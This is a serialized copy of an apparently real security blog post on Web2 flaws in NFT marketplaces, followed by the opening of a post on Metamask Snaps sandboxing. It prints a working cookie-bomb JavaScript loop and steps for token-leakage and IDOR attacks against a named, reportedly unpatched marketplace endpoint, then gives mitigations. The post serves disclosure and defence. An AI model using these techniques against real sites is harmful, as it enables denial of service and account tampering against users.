":43,"line":186},[34628],{"type":23,"tag":41,"props":34629,"children":34630},{"style":70},[34631],{"type":28,"value":34632},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":41,"props":34634,"children":34635},{"class":43,"line":195},[34636],{"type":23,"tag":41,"props":34637,"children":34638},{"style":70},[34639],{"type":28,"value":34640},"   var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":41,"props":34642,"children":34643},{"class":43,"line":905},[34644],{"type":23,"tag":41,"props":34645,"children":34646},{"emptyLinePlaceholder":18},[34647],{"type":28,"value":82},{"type":23,"tag":41,"props":34649,"children":34650},{"class":43,"line":922},[34651,34656],{"type":23,"tag":41,"props":34652,"children":34653},{"style":70},[34654],{"type":28,"value":34655},"   for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":41,"props":34657,"children":34658},{"style":64},[34659],{"type":28,"value":1559},{"type":23,"tag":41,"props":34661,"children":34662},{"class":43,"line":930},[34663,34668,34672,34677,34681,34686,34691,34695,34699,34704,34708,34713,34717,34722,34726,34731],{"type":23,"tag":41,"props":34664,"children":34665},{"style":858},[34666],{"type":28,"value":34667},"    document",{"type":23,"tag":41,"props":34669,"children":34670},{"style":170},[34671],{"type":28,"value":706},{"type":23,"tag":41,"props":34673,"children":34674},{"style":858},[34675],{"type":28,"value":34676},"cookie",{"type":23,"tag":41,"props":34678,"children":34679},{"style":170},[34680],{"type":28,"value":32904},{"type":23,"tag":41,"props":34682,"children":34683},{"style":735},[34684],{"type":28,"value":34685},"'Cookie'",{"type":23,"tag":41,"props":34687,"children":34688},{"style":170},[34689],{"type":28,"value":34690}," + ",{"type":23,"tag":41,"props":34692,"children":34693},{"style":858},[34694],{"type":28,"value":3737},{"type":23,"tag":41,"props":34696,"children":34697},{"style":170},[34698],{"type":28,"value":34690},{"type":23,"tag":41,"props":34700,"children":34701},{"style":735},[34702],{"type":28,"value":34703},"'='",{"type":23,"tag":41,"props":34705,"children":34706},{"style":170},[34707],{"type":28,"value":34690},{"type":23,"tag":41,"props":34709,"children":34710},{"style":858},[34711],{"type":28,"value":34712},"Set_Cookie",{"type":23,"tag":41,"props":34714,"children":34715},{"style":170},[34716],{"type":28,"value":34690},{"type":23,"tag":41,"props":34718,"children":34719},{"style":735},[34720],{"type":28,"value":34721},"';Domain='",{"type":23,"tag":41,"props":34723,"children":34724},{"style":170},[34725],{"type":28,"value":34690},{"type":23,"tag":41,"props":34727,"children":34728},{"style":858},[34729],{"type":28,"value":34730},"Take_Domain",{"type":23,"tag":41,"props":34732,"children":34733},{"style":170},[34734],{"type":28,"value":183},{"type":23,"tag":41,"props":34736,"children":34737},{"class":43,"line":939},[34738],{"type":23,"tag":41,"props":34739,"children":34740},{"style":64},[34741],{"type":28,"value":34742},"   }\n",{"type":23,"tag":41,"props":34744,"children":34745},{"class":43,"line":947},[34746,34750,34754],{"type":23,"tag":41,"props":34747,"children":34748},{"style":32370},[34749],{"type":28,"value":34361},{"type":23,"tag":41,"props":34751,"children":34752},{"style":64},[34753],{"type":28,"value":32410},{"type":23,"tag":41,"props":34755,"children":34756},{"style":32370},[34757],{"type":28,"value":773},{"type":23,"tag":41,"props":34759,"children":34760},{"class":43,"line":985},[34761,34765,34769],{"type":23,"tag":41,"props":34762,"children":34763},{"style":32370},[34764],{"type":28,"value":34377},{"type":23,"tag":41,"props":34766,"children":34767},{"style":64},[34768],{"type":28,"value":34267},{"type":23,"tag":41,"props":34770,"children":34771},{"style":32370},[34772],{"type":28,"value":773},{"type":23,"tag":24,"props":34774,"children":34775},{},[34776],{"type":28,"value":34777},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":446,"props":34779,"children":34781},{"id":34780},"authentication",[34782],{"type":28,"value":34783},"Authentication",{"type":23,"tag":24,"props":34785,"children":34786},{},[34787],{"type":23,"tag":2913,"props":34788,"children":34789},{},[34790,34792,34799],{"type":28,"value":34791},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":458,"props":34793,"children":34796},{"href":34794,"rel":34795},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[462],[34797],{"type":28,"value":34798},"great misfortune has occured",{"type":28,"value":706},{"type":23,"tag":546,"props":34801,"children":34803},{"id":34802},"verification-token-leakage",[34804],{"type":28,"value":34805},"Verification Token Leakage",{"type":23,"tag":24,"props":34807,"children":34808},{},[34809],{"type":28,"value":34810},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":24,"props":34812,"children":34813},{},[34814],{"type":28,"value":34815},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":24,"props":34817,"children":34818},{},[34819,34824],{"type":23,"tag":2913,"props":34820,"children":34821},{},[34822],{"type":28,"value":34823},"Proof of Concept",{"type":28,"value":34825},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":24,"props":34827,"children":34828},{},[34829],{"type":28,"value":34830},"Here's the breakdown.",{"type":23,"tag":24,"props":34832,"children":34833},{},[34834],{"type":28,"value":34835},"First, we send the verification link to a user's email:",{"type":23,"tag":31340,"props":34837,"children":34838},{"style":31342},[34839],{"type":23,"tag":3918,"props":34840,"children":34844},{"src":34841,"alt":34842,"style":34843},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":24,"props":34846,"children":34847},{},[34848],{"type":28,"value":34849},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":546,"props":34851,"children":34853},{"id":34852},"idor",[34854],{"type":28,"value":34855},"IDOR",{"type":23,"tag":24,"props":34857,"children":34858},{},[34859],{"type":23,"tag":2913,"props":34860,"children":34861},{},[34862,34864,34871],{"type":28,"value":34863},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":458,"props":34865,"children":34868},{"href":34866,"rel":34867},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[462],[34869],{"type":28,"value":34870},"insect",{"type":28,"value":706},{"type":23,"tag":24,"props":34873,"children":34874},{},[34875,34877,34883],{"type":28,"value":34876},"During a security assessment of the ",{"type":23,"tag":458,"props":34878,"children":34881},{"href":34879,"rel":34880},"https://rocki.com",[462],[34882],{"type":28,"value":31278},{"type":28,"value":34884},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":24,"props":34886,"children":34887},{},[34888],{"type":28,"value":34889},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":24,"props":34891,"children":34892},{},[34893],{"type":28,"value":34894},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":24,"props":34896,"children":34897},{},[34898,34900,34906,34908,34913],{"type":28,"value":34899},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":37,"props":34901,"children":34903},{"className":34902},[],[34904],{"type":28,"value":34905},"https://evil.com/",{"type":28,"value":34907},". To achieve this, we simply changed the ",{"type":23,"tag":37,"props":34909,"children":34911},{"className":34910},[],[34912],{"type":28,"value":3484},{"type":28,"value":34914}," field value to one that belongs to another user:",{"type":23,"tag":24,"props":34916,"children":34917},{},[34918],{"type":23,"tag":3918,"props":34919,"children":34921},{"alt":7,"src":34920},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":24,"props":34923,"children":34924},{},[34925],{"type":28,"value":34926},"The following screenshot is the response to our request:",{"type":23,"tag":24,"props":34928,"children":34929},{},[34930],{"type":23,"tag":3918,"props":34931,"children":34933},{"alt":7,"src":34932},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":446,"props":34935,"children":34937},{"id":34936},"preventative-action-steps-for-marketplaces",[34938],{"type":23,"tag":510,"props":34939,"children":34940},{},[34941],{"type":28,"value":34942},"Preventative Action Steps for Marketplaces",{"type":23,"tag":24,"props":34944,"children":34945},{},[34946],{"type":28,"value":34947},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":24,"props":34949,"children":34950},{},[34951,34953,34959,34961,34967],{"type":28,"value":34952},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":37,"props":34954,"children":34956},{"className":34955},[],[34957],{"type":28,"value":34958},"innerText",{"type":28,"value":34960}," instead of ",{"type":23,"tag":37,"props":34962,"children":34964},{"className":34963},[],[34965],{"type":28,"value":34966},"innerHTML",{"type":28,"value":34968}," in client-side:",{"type":23,"tag":31,"props":34970,"children":34972},{"className":31357,"code":34971,"language":31359,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[34973],{"type":23,"tag":37,"props":34974,"children":34975},{"__ignoreMap":7},[34976],{"type":23,"tag":41,"props":34977,"children":34978},{"class":43,"line":44},[34979,34983,34987,34992,34996,35001,35005,35009,35013,35018],{"type":23,"tag":41,"props":34980,"children":34981},{"style":858},[34982],{"type":28,"value":32701},{"type":23,"tag":41,"props":34984,"children":34985},{"style":70},[34986],{"type":28,"value":706},{"type":23,"tag":41,"props":34988,"children":34989},{"style":114},[34990],{"type":28,"value":34991},"getElementById",{"type":23,"tag":41,"props":34993,"children":34994},{"style":70},[34995],{"type":28,"value":1737},{"type":23,"tag":41,"props":34997,"children":34998},{"style":735},[34999],{"type":28,"value":35000},"'nftCollectionName'",{"type":23,"tag":41,"props":35002,"children":35003},{"style":70},[35004],{"type":28,"value":20729},{"type":23,"tag":41,"props":35006,"children":35007},{"style":858},[35008],{"type":28,"value":34958},{"type":23,"tag":41,"props":35010,"children":35011},{"style":170},[35012],{"type":28,"value":3017},{"type":23,"tag":41,"props":35014,"children":35015},{"style":858},[35016],{"type":28,"value":35017}," nftCollectionName",{"type":23,"tag":41,"props":35019,"children":35020},{"style":70},[35021],{"type":28,"value":183},{"type":23,"tag":24,"props":35023,"children":35024},{},[35025],{"type":28,"value":35026},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":31,"props":35028,"children":35030},{"className":31357,"code":35029,"language":31359,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[35031],{"type":23,"tag":37,"props":35032,"children":35033},{"__ignoreMap":7},[35034],{"type":23,"tag":41,"props":35035,"children":35036},{"class":43,"line":44},[35037,35042,35047,35051,35056,35060,35065,35069,35074],{"type":23,"tag":41,"props":35038,"children":35039},{"style":64},[35040],{"type":28,"value":35041},"var",{"type":23,"tag":41,"props":35043,"children":35044},{"style":858},[35045],{"type":28,"value":35046}," sanitizedInput",{"type":23,"tag":41,"props":35048,"children":35049},{"style":170},[35050],{"type":28,"value":3017},{"type":23,"tag":41,"props":35052,"children":35053},{"style":858},[35054],{"type":28,"value":35055}," DOMPurify",{"type":23,"tag":41,"props":35057,"children":35058},{"style":70},[35059],{"type":28,"value":706},{"type":23,"tag":41,"props":35061,"children":35062},{"style":114},[35063],{"type":28,"value":35064},"sanitize",{"type":23,"tag":41,"props":35066,"children":35067},{"style":70},[35068],{"type":28,"value":1737},{"type":23,"tag":41,"props":35070,"children":35071},{"style":858},[35072],{"type":28,"value":35073},"userInput",{"type":23,"tag":41,"props":35075,"children":35076},{"style":70},[35077],{"type":28,"value":3825},{"type":23,"tag":24,"props":35079,"children":35080},{},[35081,35083,35090],{"type":28,"value":35082},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":458,"props":35084,"children":35087},{"href":35085,"rel":35086},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[462],[35088],{"type":28,"value":35089},"Content-Security-Policy",{"type":28,"value":35091}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":24,"props":35093,"children":35094},{},[35095],{"type":28,"value":35096},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":24,"props":35098,"children":35099},{},[35100,35102,35109],{"type":28,"value":35101},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":458,"props":35103,"children":35106},{"href":35104,"rel":35105},"https://www.techtarget.com/whatis/definition/whitelist",[462],[35107],{"type":28,"value":35108},"allow-list",{"type":28,"value":35110}," :",{"type":23,"tag":31,"props":35112,"children":35114},{"className":31357,"code":35113,"language":31359,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[35115],{"type":23,"tag":37,"props":35116,"children":35117},{"__ignoreMap":7},[35118,35147,35189,35219],{"type":23,"tag":41,"props":35119,"children":35120},{"class":43,"line":44},[35121,35125,35130,35134,35138,35143],{"type":23,"tag":41,"props":35122,"children":35123},{"style":64},[35124],{"type":28,"value":846},{"type":23,"tag":41,"props":35126,"children":35127},{"style":858},[35128],{"type":28,"value":35129}," allowDomains",{"type":23,"tag":41,"props":35131,"children":35132},{"style":170},[35133],{"type":28,"value":3017},{"type":23,"tag":41,"props":35135,"children":35136},{"style":70},[35137],{"type":28,"value":23019},{"type":23,"tag":41,"props":35139,"children":35140},{"style":735},[35141],{"type":28,"value":35142},"'https://allowed-domain'",{"type":23,"tag":41,"props":35144,"children":35145},{"style":70},[35146],{"type":28,"value":31568},{"type":23,"tag":41,"props":35148,"children":35149},{"class":43,"line":54},[35150,35154,35158,35162,35167,35171,35176,35180,35184],{"type":23,"tag":41,"props":35151,"children":35152},{"style":58},[35153],{"type":28,"value":368},{"type":23,"tag":41,"props":35155,"children":35156},{"style":70},[35157],{"type":28,"value":142},{"type":23,"tag":41,"props":35159,"children":35160},{"style":170},[35161],{"type":28,"value":2630},{"type":23,"tag":41,"props":35163,"children":35164},{"style":858},[35165],{"type":28,"value":35166},"allowDomains",{"type":23,"tag":41,"props":35168,"children":35169},{"style":70},[35170],{"type":28,"value":706},{"type":23,"tag":41,"props":35172,"children":35173},{"style":114},[35174],{"type":28,"value":35175},"includes",{"type":23,"tag":41,"props":35177,"children":35178},{"style":70},[35179],{"type":28,"value":1737},{"type":23,"tag":41,"props":35181,"children":35182},{"style":858},[35183],{"type":28,"value":32711},{"type":23,"tag":41,"props":35185,"children":35186},{"style":70},[35187],{"type":28,"value":35188},")) {\n",{"type":23,"tag":41,"props":35190,"children":35191},{"class":43,"line":76},[35192,35197,35201,35206,35210,35215],{"type":23,"tag":41,"props":35193,"children":35194},{"style":58},[35195],{"type":28,"value":35196},"  throw",{"type":23,"tag":41,"props":35198,"children":35199},{"style":64},[35200],{"type":28,"value":31927},{"type":23,"tag":41,"props":35202,"children":35203},{"style":114},[35204],{"type":28,"value":35205}," ApolloError",{"type":23,"tag":41,"props":35207,"children":35208},{"style":70},[35209],{"type":28,"value":1737},{"type":23,"tag":41,"props":35211,"children":35212},{"style":735},[35213],{"type":28,"value":35214},"'invalid domain'",{"type":23,"tag":41,"props":35216,"children":35217},{"style":70},[35218],{"type":28,"value":3825},{"type":23,"tag":41,"props":35220,"children":35221},{"class":43,"line":85},[35222],{"type":23,"tag":41,"props":35223,"children":35224},{"style":70},[35225],{"type":28,"value":201},{"type":23,"tag":24,"props":35227,"children":35228},{},[35229,35231,35238,35240,35247],{"type":28,"value":35230},"As ",{"type":23,"tag":458,"props":35232,"children":35235},{"href":35233,"rel":35234},"https://graphql.org/",[462],[35236],{"type":28,"value":35237},"GraphQl",{"type":28,"value":35239}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":458,"props":35241,"children":35244},{"href":35242,"rel":35243},"https://graphql.org/learn/introspection/",[462],[35245],{"type":28,"value":35246},"introspection",{"type":28,"value":35248}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":31,"props":35250,"children":35252},{"className":31357,"code":35251,"language":31359,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[35253],{"type":23,"tag":37,"props":35254,"children":35255},{"__ignoreMap":7},[35256,35285,35297,35309,35325],{"type":23,"tag":41,"props":35257,"children":35258},{"class":43,"line":44},[35259,35263,35268,35272,35276,35281],{"type":23,"tag":41,"props":35260,"children":35261},{"style":64},[35262],{"type":28,"value":846},{"type":23,"tag":41,"props":35264,"children":35265},{"style":858},[35266],{"type":28,"value":35267}," server",{"type":23,"tag":41,"props":35269,"children":35270},{"style":170},[35271],{"type":28,"value":3017},{"type":23,"tag":41,"props":35273,"children":35274},{"style":64},[35275],{"type":28,"value":31927},{"type":23,"tag":41,"props":35277,"children":35278},{"style":114},[35279],{"type":28,"value":35280}," ApolloServer",{"type":23,"tag":41,"props":35282,"children":35283},{"style":70},[35284],{"type":28,"value":15132},{"type":23,"tag":41,"props":35286,"children":35287},{"class":43,"line":54},[35288,35293],{"type":23,"tag":41,"props":35289,"children":35290},{"style":858},[35291],{"type":28,"value":35292},"  typeDefs",{"type":23,"tag":41,"props":35294,"children":35295},{"style":70},[35296],{"type":28,"value":3506},{"type":23,"tag":41,"props":35298,"children":35299},{"class":43,"line":76},[35300,35305],{"type":23,"tag":41,"props":35301,"children":35302},{"style":858},[35303],{"type":28,"value":35304},"  resolvers",{"type":23,"tag":41,"props":35306,"children":35307},{"style":70},[35308],{"type":28,"value":3506},{"type":23,"tag":41,"props":35310,"children":35311},{"class":43,"line":85},[35312,35317,35321],{"type":23,"tag":41,"props":35313,"children":35314},{"style":858},[35315],{"type":28,"value":35316},"  introspection:",{"type":23,"tag":41,"props":35318,"children":35319},{"style":64},[35320],{"type":28,"value":1095},{"type":23,"tag":41,"props":35322,"children":35323},{"style":70},[35324],{"type":28,"value":3506},{"type":23,"tag":41,"props":35326,"children":35327},{"class":43,"line":105},[35328],{"type":23,"tag":41,"props":35329,"children":35330},{"style":70},[35331],{"type":28,"value":35332},"});\n",{"type":23,"tag":24,"props":35334,"children":35335},{},[35336,35338,35345,35347,35354],{"type":28,"value":35337},"Similarly, when ",{"type":23,"tag":458,"props":35339,"children":35342},{"href":35340,"rel":35341},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[462],[35343],{"type":28,"value":35344},"batching",{"type":28,"value":35346}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":458,"props":35348,"children":35351},{"href":35349,"rel":35350},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[462],[35352],{"type":28,"value":35353},"denial-of-service",{"type":28,"value":35355}," (DoS) attacks.",{"type":23,"tag":24,"props":35357,"children":35358},{},[35359],{"type":28,"value":35360},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":24,"props":35362,"children":35363},{},[35364],{"type":28,"value":35365},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":35367,"props":35368,"children":35369},"h1",{"id":2811},[35370],{"type":28,"value":2814},{"type":23,"tag":24,"props":35372,"children":35373},{},[35374],{"type":28,"value":35375},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":24,"props":35377,"children":35378},{},[35379],{"type":28,"value":35380},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":446,"props":35382,"children":35384},{"id":35383},"disclaimer",[35385],{"type":28,"value":35386},"Disclaimer",{"type":23,"tag":24,"props":35388,"children":35389},{},[35390],{"type":28,"value":35391},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":2843,"props":35393,"children":35394},{},[35395],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":35397},[35398,35401,35407,35411,35412],{"id":29014,"depth":54,"text":29017,"children":35399},[35400],{"id":2920,"depth":76,"text":2923},{"id":31201,"depth":54,"text":31231,"children":35402},[35403,35404,35405,35406],{"id":31250,"depth":76,"text":31253},{"id":31315,"depth":76,"text":31318},{"id":34145,"depth":76,"text":34148},{"id":34435,"depth":76,"text":34438},{"id":34780,"depth":54,"text":34783,"children":35408},[35409,35410],{"id":34802,"depth":76,"text":34805},{"id":34852,"depth":76,"text":34855},{"id":34936,"depth":54,"text":34942},{"id":35383,"depth":54,"text":35386},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":35417,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35418,"description":35419,"author":35420,"image":35421,"date":35423,"isFeatured":18,"onBlogPage":18,"body":35424,"_type":2864,"_id":40434,"_source":2866,"_file":40435,"_stem":40436,"_extension":2869},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[31195,31194],{"src":35422,"height":13618,"width":13},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":35425,"toc":40415},[35426,35430,35435,35440,35445,35451,35456,35462,35475,35480,35485,35492,35524,35530,35535,35553,35560,35566,35580,35586,35606,35870,35898,35904,35923,36309,36328,36341,36659,36680,36951,36956,36962,36967,36980,36985,36998,37257,37301,37314,37320,37334,37340,37346,37359,37396,37402,37422,37533,37560,37566,37584,37597,37603,37608,37626,37737,37742,37763,37776,37793,37893,37919,37936,38057,38083,38095,38100,38106,38112,38117,38140,38145,38150,38156,38162,38189,38591,38618,38645,38651,38682,38991,39010,39015,39040,39053,39059,39086,39379,39415,39433,39438,39473,39478,39482,39487,39494,39499,39526,40303,40323,40329,40350,40397,40401,40406,40411],{"type":23,"tag":446,"props":35427,"children":35428},{"id":18944},[35429],{"type":28,"value":18947},{"type":23,"tag":24,"props":35431,"children":35432},{},[35433],{"type":28,"value":35434},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":24,"props":35436,"children":35437},{},[35438],{"type":28,"value":35439},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":24,"props":35441,"children":35442},{},[35443],{"type":28,"value":35444},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":446,"props":35446,"children":35448},{"id":35447},"sandbox-security",[35449],{"type":28,"value":35450},"Sandbox Security",{"type":23,"tag":24,"props":35452,"children":35453},{},[35454],{"type":28,"value":35455},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":546,"props":35457,"children":35459},{"id":35458},"permission-based-security",[35460],{"type":28,"value":35461},"Permission-based security",{"type":23,"tag":24,"props":35463,"children":35464},{},[35465,35467,35473],{"type":28,"value":35466},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":37,"props":35468,"children":35470},{"className":35469},[],[35471],{"type":28,"value":35472},"snap.manifest.json",{"type":28,"value":35474}," file and can be critical to security.",{"type":23,"tag":24,"props":35476,"children":35477},{},[35478],{"type":28,"value":35479},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":24,"props":35481,"children":35482},{},[35483],{"type":28,"value":35484},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":24,"props":35486,"children":35487},{},[35488],{"type":23,"tag":3918,"props":35489,"children":35491},{"alt":7,"src":35490},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":417,"props":35493,"children":35494},{},[35495,35513],{"type":23,"tag":421,"props":35496,"children":35497},{},[35498,35504,35505,35511],{"type":23,"tag":37,"props":35499,"children":35501},{"className":35500},[],[35502],{"type":28,"value":35503},"snap_getBip44Entropy",{"type":28,"value":1361},{"type":23,"tag":37,"props":35506,"children":35508},{"className":35507},[],[35509],{"type":28,"value":35510},"snap_getBip32Entropy",{"type":28,"value":35512}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":421,"props":35514,"children":35515},{},[35516,35522],{"type":23,"tag":37,"props":35517,"children":35519},{"className":35518},[],[35520],{"type":28,"value":35521},"endowment:transaction-insight",{"type":28,"value":35523}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":546,"props":35525,"children":35527},{"id":35526},"snap-execution-environment",[35528],{"type":28,"value":35529},"Snap execution environment",{"type":23,"tag":24,"props":35531,"children":35532},{},[35533],{"type":28,"value":35534},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":5436,"props":35536,"children":35537},{},[35538,35543,35548],{"type":23,"tag":421,"props":35539,"children":35540},{},[35541],{"type":28,"value":35542},"An isolated iframe",{"type":23,"tag":421,"props":35544,"children":35545},{},[35546],{"type":28,"value":35547},"LavaMoat",{"type":23,"tag":421,"props":35549,"children":35550},{},[35551],{"type":28,"value":35552},"SES (Secure EcmaScript)",{"type":23,"tag":24,"props":35554,"children":35555},{},[35556],{"type":23,"tag":3918,"props":35557,"children":35559},{"alt":7,"src":35558},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":546,"props":35561,"children":35563},{"id":35562},"isolated-iframe-layer-1",[35564],{"type":28,"value":35565},"Isolated Iframe - Layer 1",{"type":23,"tag":24,"props":35567,"children":35568},{},[35569,35571,35578],{"type":28,"value":35570},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":458,"props":35572,"children":35575},{"href":35573,"rel":35574},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[462],[35576],{"type":28,"value":35577},"Iframe",{"type":28,"value":35579}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":18881,"props":35581,"children":35583},{"id":35582},"the-framework-metamask-extension-repo",[35584],{"type":28,"value":35585},"The Framework: Metamask-Extension Repo",{"type":23,"tag":24,"props":35587,"children":35588},{},[35589,35591,35597,35599,35605],{"type":28,"value":35590},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":37,"props":35592,"children":35594},{"className":35593},[],[35595],{"type":28,"value":35596},"metamask-controller.js",{"type":28,"value":35598}," file. Here's a glimpse of the relevant ",{"type":23,"tag":458,"props":35600,"children":35603},{"href":35601,"rel":35602},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[462],[35604],{"type":28,"value":37},{"type":28,"value":1474},{"type":23,"tag":31,"props":35607,"children":35611},{"className":35608,"code":35609,"language":35610,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[35612],{"type":23,"tag":37,"props":35613,"children":35614},{"__ignoreMap":7},[35615,35623,35631,35651,35699,35734,35751,35759,35801,35808,35815,35823,35851,35863],{"type":23,"tag":41,"props":35616,"children":35617},{"class":43,"line":44},[35618],{"type":23,"tag":41,"props":35619,"children":35620},{"style":48},[35621],{"type":28,"value":35622},"// Import 